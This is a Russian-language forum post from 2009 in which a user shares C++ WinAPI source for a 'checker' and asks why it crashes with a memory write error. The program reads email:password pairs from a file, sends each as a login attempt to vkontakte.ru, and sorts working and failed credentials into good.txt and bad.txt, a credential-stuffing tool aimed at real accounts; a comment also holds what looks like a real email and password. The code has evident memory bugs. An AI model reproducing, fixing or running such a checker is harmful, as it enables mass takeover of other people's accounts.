Показать сообщение отдельно

  #3  
Старый 10.08.2009, 18:19
xa-xa89
Участник форума
Регистрация: 17.05.2008
Сообщений: 102
С нами: 9466141

Репутация: 74
По умолчанию

Код:
// checker.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "checker.h"
#include "process.h"
#include "wininet.h"
#include "iostream"
#include "string.h"
#include "stdio.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#endif
#define _MT


// The one and only application object

CWinApp theApp;

using namespace std;
const int th_num=1;
char *buffer;
volatile long CurrentLineNumber;
volatile long TotalLineNumber;
HANDLE gh,bh;
DWORD size;
DWORD WINAPI Thread(void* pParams);
int main(int argc,char* argv[])
{
	int nRetCode = 0;

	// initialize MFC and print and error on failure
	if (!AfxWinInit(::GetModuleHandle(NULL), NULL, ::GetCommandLine(), 0))
	{
		// TODO: change error code to suit your needs
		_tprintf(_T("Fatal Error: MFC initialization failed\n"));
		nRetCode = 1;
	}
	else
	{	CurrentLineNumber=0;
		TotalLineNumber=0;
		DWORD bytesread;
		BOOL bRead=TRUE;
	//Разборки с файлами!Открыли и прочитали input.txt
		HANDLE fh=::CreateFile(TEXT("input.txt"),GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL);
		if (fh==INVALID_HANDLE_VALUE) {
			cout<<"\ninput.txt dosn`t exist\n";
			::exit(EXIT_FAILURE);
		} else {
			printf("\nReading input.txt...");
			size=GetFileSize(fh,NULL);
			buffer=(char *)malloc(size-13);
			memset(buffer,0,size);
			bRead=::ReadFile(fh,buffer,size,(LPDWORD)&bytesread,NULL);
			::CloseHandle(fh);
			char *bp=buffer;
			while(*bp!='\0')
			{
				if(*bp=='\n')
					TotalLineNumber++;
				bp++;
			}
			TotalLineNumber++;
		}
	//Cоздадим для записи bad.txt и good.txt
		printf("\nOpening good.txt and bad.txt");
		gh=::CreateFile(TEXT("good.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
		if (gh==INVALID_HANDLE_VALUE)
		{
			printf("\nError creating file good.txt");
			::exit(EXIT_FAILURE);
		} else
		{
			::SetFilePointer(gh,NULL,NULL,FILE_END);
		}
		bh=::CreateFile(TEXT("bad.txt"),GENERIC_WRITE,FILE_SHARE_WRITE,NULL,OPEN_ALWAYS,NULL,NULL);
		if (bh==INVALID_HANDLE_VALUE)
		{
			printf("\nError creating file bad.txt");
			::exit(EXIT_FAILURE);
		}
		else
		{
			::SetFilePointer(bh,NULL,NULL,FILE_END);
			}
		printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
			//создаем потоки
			DWORD idThread;//[th_num];
			int iThread;
			printf("%d",th_num);
			HANDLE hTr[th_num];
			/*for(iThread=0;iThread<th_num;iThread++)
			{
				hTr[iThread]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
					printf("Thread created");
			}*/
			hTr[0]=::CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)Thread,NULL,0,&idThread);
			printf("\naaa\n");
			//где то вот тут оно выдает ошибку
			WaitForMultipleObjects(th_num,hTr,TRUE,INFINITE);
			//::CloseHandle(hTr[0]);
			/*for(iThread=0;iThread<=th_num-1;iThread++)
			{
				printf("\n***closeT***\n");
				::WaitForSingleObject(hTr[iThread],INFINITE);
				::CloseHandle(hTr[iThread]);
			}*/
		//::Sleep(7000);
		//printf("\n%d:%d",CurrentLineNumber,TotalLineNumber);
		//::CloseHandle(gh);
		//::CloseHandle(bh);
	}
	return nRetCode;
}
DWORD WINAPI Thread(void* pParams){
unsigned int s=(unsigned int)size;
		unsigned int i=0;
		int N=1;
		CRITICAL_SECTION cs;
		::InitializeCriticalSection(&cs);
		while(CurrentLineNumber<TotalLineNumber){
		int n=0,n1=0;//номер строки
		int point;//двоиточия
		char email[150]="";
		char pass[150]="";
		char auth_str[170]="login.php?op=a_login_attempt&email=";
		char auth2[100]="&pass=";
		char email_pass[100]="bad\n";;
		wchar_t str[170];
		DWORD byteswrite;	
	//вычислим начальное смщение
		int b=0;//начальное смщение строки
		int f;//конец строки 
		printf("parse");
			for(i=0;i<s;i++){
				//оперделили конец строки N
				if((buffer[i]=='\n') || (i==s)){
					n=n+1;
					if(n==N) f=i+1;
				}
				//Определим начало строки
				if(buffer[i]=='\n'){
					n1=n1+1;
					if(n==N-1) b=i+1;
				}
				//Оперделим позицию двоеточия
				if(n==N-1)
					if(buffer[i]==':') point=i;
			}
			printf("!!postions!!");
			::_sprintf_p(email,point-b+1,"%s",buffer+b);
			::_sprintf_p(pass,f-point,"%s",buffer+point+1);
			::_sprintf_p(email_pass,f-b,"%s",buffer+b);
			printf("emai:pass");
			::strcat_s(pass,"&expire=0");
			::strcat_s(auth2,pass);
			::strcat_s(email,auth2);
			::strcat_s(auth_str,email);
			for(i=0;i<strlen(auth_str);i++)
				str[i]=::btowc(auth_str[i]);
		//Отправка запроса
			printf("parse_end");
		char page[100]="vot";
	HINTERNET ihandler=::InternetOpen(TEXT("Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13"),INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);
		if (ihandler!=NULL){
			HINTERNET iconnect=::InternetConnect(ihandler,TEXT("vkontakte.ru"),INTERNET_DEFAULT_HTTP_PORT,NULL,NULL,INTERNET_SERVICE_HTTP,0,NULL);
		if (iconnect!=NULL){
				HINTERNET irequest=::HttpOpenRequest(iconnect,L"GET",LPCWSTR(str),NULL,NULL,NULL,INTERNET_FLAG_KEEP_CONNECTION,NULL);//(iconnect,TEXT("GET"),TEXT("login.php"),NULL,NULL,(LPCWSTR *)"text/*",INTERNET_FLAG_KEEP_CONNECTION,NULL);//?op=a_login_attempt&email=xa.xa14@gmail.com&pass=iamxakep14!&expire=0
				if (irequest!=NULL){
					if(HttpSendRequest(irequest,L"",0,L"",0))
					{
						DWORD BytesRead;
						if(::InternetReadFile(irequest,page,sizeof(page)-1,&BytesRead))
						{
							//проверка результат запроса
							strcat_s(email_pass,"\n");
							if(strstr(page,"good")!=NULL){;
								::EnterCriticalSection(&cs);
								if(::WriteFile(gh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
									//::ExitThread(1);
								::LeaveCriticalSection(&cs);
							}
							else 
							{
								::EnterCriticalSection(&cs);
								if(::WriteFile(bh,email_pass,(DWORD)strlen(email_pass)-1,&byteswrite,NULL)==false)
									//::ExitThread(1);
								::LeaveCriticalSection(&cs);
							}
						}
					}
				}::InternetCloseHandle(irequest);
			}::InternetCloseHandle(iconnect);
		}::InternetCloseHandle(ihandler);
		::EnterCriticalSection(&cs);
		CurrentLineNumber=CurrentLineNumber+1;
		N=CurrentLineNumber;
		::LeaveCriticalSection(&cs);
		}
		::DeleteCriticalSection(&cs);
		return 0;
Слушаю любую критику и предложения по коду и т.д...
Только начал разбираться с винапи...
Запускаю ошибка!в отладчике все окей!

пишет память не может бить written!

Последний раз редактировалось xa-xa89; 10.08.2009 в 18:50..
 
Ответить с цитированием